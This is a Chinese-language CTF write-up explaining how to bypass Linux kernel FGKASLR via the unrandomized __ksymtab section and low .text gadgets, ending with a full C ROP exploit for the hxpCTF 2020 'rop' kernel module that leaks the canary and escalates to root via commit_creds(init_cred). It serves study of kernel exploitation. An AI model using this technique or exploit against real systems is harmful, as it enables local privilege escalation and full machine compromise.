绕过fgkaslr以防止fgkaslr对kaslr的绕过的防御:)
[toc]
Linux kernel之FGKASLR的绕过 0x00. 什么是FGKASLR 简单来说,FGKASLR是一种在KASLR上更高级的保护。
我们知道KASLR能够让内核中的地址存在一个偏移,若泄露出任意一个某段的内核函数的实际地址时,即可以计算出该偏移,从而通过该偏移获取该段所有的内核地址。
而FGKASLR是一种更细粒度的保护:它在KASLR的基础上,让函数的地址进行二次随机化 ,从而保证每个函数的地址都是相对随机的。如此一来,即使泄露出某个函数的地址,甚至是泄露出KASLR的偏移,我们也难以获取所有的函数地址。
0x01. 绕过思路 幸运的是,该保护并不是“无敌”的(这linux kernel骗我们啊,这FGKASLR它也不无敌啊)。
简单思考,若经过二次随机化后的函数达到了真正意义上的“完全随机化”,那么即便是内核本身也无法得知其它函数的地址。由此,可能会存在一种结构能够保存这种地址。下面对FSKASLR实现部分的源码进行分析,这部分摘抄自ctf-wiki:
在layout_randomized_image函数中会计算最终随机化的节区,并存储在sections中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 for (i = 0 ; i < shnum; i++) { s = &sechdrs[i]; sname = secstrings + s->sh_name; if (s->sh_type == SHT_SYMTAB) { if (symtab) error("Unexpected duplicate symtab" ); symtab = malloc (s->sh_size); if (!symtab) error("Failed to allocate space for symtab" ); memcpy (symtab, output + s->sh_offset, s->sh_size); num_syms = s->sh_size / sizeof (*symtab); continue ; } if (s->sh_type == SHT_STRTAB && i != ehdr->e_shstrndx) { if (strtab) error("Unexpected duplicate strtab" ); strtab = malloc (s->sh_size); if (!strtab) error("Failed to allocate space for strtab" ); memcpy (strtab, output + s->sh_offset, s->sh_size); } if (!strcmp (sname, ".text" )) { if (text) error("Unexpected duplicate .text section" ); text = s; continue ; } if (!strcmp (sname, ".data..percpu" )) { percpu = s; continue ; } if (!(s->sh_flags & SHF_ALLOC) || !(s->sh_flags & SHF_EXECINSTR) || !(strstarts(sname, ".text" ))) continue ; sections[num_sections] = s; num_sections++; } sections[num_sections] = NULL ; sections_size = num_sections;
从上面得知,只有同时满足三个条件的节区才会参与二次随机化:
这些部分包括大部分的内核函数,例如常用的commit_creds、prepare_kernel_cred等。而且大部分的gadget也包含在内。
而通过上面的源码,我们知道部分节区的函数并不会参与二次随机化,不会参与随机化的重要节区有:
.data不会参与随机化
第一个.text节不会参与随机化
__ksymtab不会参与随机化
其中,诸如init_cred等属于.data段,因此并不会参与二次随机化,即泄露出内核基地址后就可以直接得到它的内核基地址。
而还有部分函数位于第一个.text节,例如swapgs_restore_regs_and_return_to_usermode等函数。这可以在关闭kaslr的情况下,查看其地址是否位于0xffffffff81000000 - 0xffffffff81200000之间。若位于则不会参与随机化。
而对于FGKASLR最核心的还是__ksymtab段。该段不会参与二次随机化,且其保存了经过二次随机化后的函数的地址。例如,我们可以在/proc/kallsyms中找到__ksymtab_commit_creds的地址:
1 2 / # cat /proc/kallsyms | grep '__ksymtab_commit_creds' ffffffff81f87d90 r __ksymtab_commit_creds
其实际上是一个结构体,定义如下:
1 2 3 4 5 struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
其中:
value_offset记录了内核符号的值的偏移
name_offset记录了内核符号的名称的偏移
namespace_offset记录了内核符号所属的命名空间的偏移
我们关注value_offset这一项。例如,我们计算得到__ksymtab_commit_creds的地址为0xffffffffa8587d90,且其中存放的value_offset的值为0xffa17ef0,那么计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80,即为commit_creds函数的地址!
通过这种方式,我们就可以计算出任何一个内核函数的地址了。
这里注意上面的计算过程,我们使用2^32减去计算出的value_offset,再使用__ksymtab的地址来减去结果,这是因为value_offset中存放的值为int类型,而0xffa17ef0为负数,因此要先转换后再相减才能获得其真实值。
0x02. gadget寻找 到这里,我们就能够应付大多数情况下fgkaslr的绕过了,唯独gadget的寻找还存在问题。
这里,我们利用地址位于0xffffffff81000000 - 0xffffffff81200000之间的代码不会参与随机化的这一个特性,筛选出可用的gadget。
我们同样先获取所有的gadgets,例如这里使用ROPgadget:
1 ROPgadget ./binary ./vmlinux --depth=40 > gadgets.txt
随后可以编写一个python脚本来筛选出不会二次随机化的gadget,例如笔者手写了一个如下(写得很烂)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * i = 0 with open ("./gadgets.txt" , "rt" ) as f: with open ("./gadgets_fg.txt" , "wt" ) as f2: line = f.readline() while line != '' : if not line.startswith('0x' ): line = f.readline() continue i += 1 if i % 0x100 == 0 : print (f"Success process of {i} lines." ) if int (line.split(' ' )[0 ], 16 ) < 0xffffffff81200000 : f2.write(line) line = f.readline()
随后即可在gadgets_fg.txt中正常寻找gadgets。
0x03. 小结 总结一下FGKASLR和其绕过思路。首先FGKASLR会让部分函数和地址进行二次随机化,因此我们需要利用不会被二次随机化的地址来完成剩余操作。
不会被二次随机化的函数和变量有:
其余函数,通过__ksymtab的value_offset和其本身的地址进行计算,计算方式如下:
__ksymtab_func_addr - (2^32 - value_offset)
对于gadget寻找,参考gadget寻找一节。
0x04. demo:2020-hxpctf-rop 逻辑依然是很清晰(这是因为要逆半天的都不是很想分析)
只有read和write功能,都是狠狠地溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ssize_t __fastcall hackme_read (file *f, char *data, size_t size, loff_t *off) { unsigned __int64 v4; unsigned __int64 v5; bool v6; ssize_t result; int tmp[32 ]; unsigned __int64 v9; _fentry__(f, data, size, off); v5 = v4; v9 = __readgsqword(0x28 u); _memcpy(hackme_buf, tmp, v4); if ( v5 > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 4096 , v5); BUG(); } _check_object_size(hackme_buf, v5, 1LL ); v6 = copy_to_user(data, hackme_buf, v5) == 0 ; result = -14LL ; if ( v6 ) return v5; return result; }ssize_t __fastcall hackme_write (file *f, const char *data, size_t size, loff_t *off) { unsigned __int64 v4; ssize_t v5; int tmp[32 ]; unsigned __int64 v8; _fentry__(f, data, size, off); v5 = v4; v8 = __readgsqword(0x28 u); if ( v4 > 0x1000 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 4096 , v4); BUG(); } _check_object_size(hackme_buf, v4, 0LL ); if ( copy_from_user(hackme_buf, data, v5) ) return -14LL ; _memcpy(tmp, hackme_buf, v5); return v5; }
保护基本是全开,还开启了FGKASLR,因此这里就是一个在开启了FGKASLR的情况下,一个无限制栈溢出的场景。
这道题目我们的思路如下:
通过read泄露出canary和kernel_offset。注意需要选一个0xffffffff81000000 - 0xffffffff81200000的地址来泄露.
计算出swapgs、gadget的真实地址(不会被二次随机化因此可以直接计算)
通过write栈溢出,选择合适的gadget构建rop链,利用mov rax, [rax]这样的gadget来将__ksymtab_commit_creds的value_offset值置入rax
利用swapgs返回到用户态,在用户态中计算出commit_creds的真实地址
再次write栈溢出,此时可以正常构建commit_creds(init_cred)来进行提权
其中,我们用到了mov rax, [rax]这样的gadget:
1 0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
最终的exp编写如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #include "ltfallkernel.h" size_t mov_rax_rax_pop_rbp = 0xffffffff81015a7f ;size_t pop_rsi_rdi_rbx = 0xffffffff8100745c ;size_t __memcpy = 0xffffffff8100dd60 ;size_t pop_rdx = 0xffffffff81007616 ;size_t init_cred = 0xffffffff82060f20 ;size_t swapgs = 0xffffffff81200f10 ;size_t pop_rax = 0xffffffff81004d11 ;size_t ksymtab_commit_creds = 0xffffffff81f87d90 ;size_t commit_creds_value_offset;int dev_fd;size_t *buffer;size_t canary; __attribute__((naked)) void calc_addr () { __asm__ volatile ( "mov commit_creds_value_offset, rax;" ) ; size_t commit_creds = ksymtab_commit_creds + (0xffffffff & commit_creds_value_offset) - 4294967296 ; leak_info("commit_creds" , commit_creds); int canary_index = 0x10 ; int ret_index = 0x14 ; buffer[canary_index] = canary; buffer[ret_index++] = pop_rsi_rdi_rbx; buffer[ret_index++] = 0 ; buffer[ret_index++] = init_cred; buffer[ret_index++] = 0 ; buffer[ret_index++] = commit_creds; buffer[ret_index++] = swapgs; buffer[ret_index++] = 0 ; buffer[ret_index++] = 0 ; buffer[ret_index++] = (size_t )get_root_shell; buffer[ret_index++] = user_cs; buffer[ret_index++] = user_rflags; buffer[ret_index++] = user_sp; buffer[ret_index++] = user_ss; write(dev_fd, buffer, 0x180 ); }int main () { bind_core(0 ); save_status(); info("Starting to exploit..." ); buffer = (size_t *)mmap(NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (buffer < 0 ) { err_exit("mmap" ); } dev_fd = open("/dev/hackme" , O_RDWR); if (dev_fd < 0 ) { err_exit("Failed to open hackme." ); } read(dev_fd, buffer, 0x180 ); int kernel_index = 38 ; canary = buffer[2 ]; kernel_offset = buffer[kernel_index] - 0xffffffff8100a157 ; kernel_base += kernel_offset; leak_info("kernel_offset" , kernel_offset); leak_info("kernel_base" , kernel_base); leak_info("canary" , canary); mov_rax_rax_pop_rbp += kernel_offset; pop_rsi_rdi_rbx += kernel_offset; pop_rdx += kernel_offset; swapgs += kernel_offset + 0x16 ; __memcpy += kernel_offset; init_cred += kernel_offset; pop_rax += kernel_offset; ksymtab_commit_creds += kernel_offset; int canary_index = 0x10 ; int ret_index = 0x14 ; buffer[canary_index] = canary; buffer[ret_index++] = pop_rax; buffer[ret_index++] = ksymtab_commit_creds; buffer[ret_index++] = mov_rax_rax_pop_rbp; buffer[ret_index++] = 0 ; buffer[ret_index++] = swapgs; buffer[ret_index++] = 0 ; buffer[ret_index++] = 0 ; buffer[ret_index++] = (size_t )calc_addr; buffer[ret_index++] = user_cs; buffer[ret_index++] = user_rflags; buffer[ret_index++] = user_sp; buffer[ret_index++] = user_ss; write(dev_fd, buffer, 0x180 ); return 0 ; }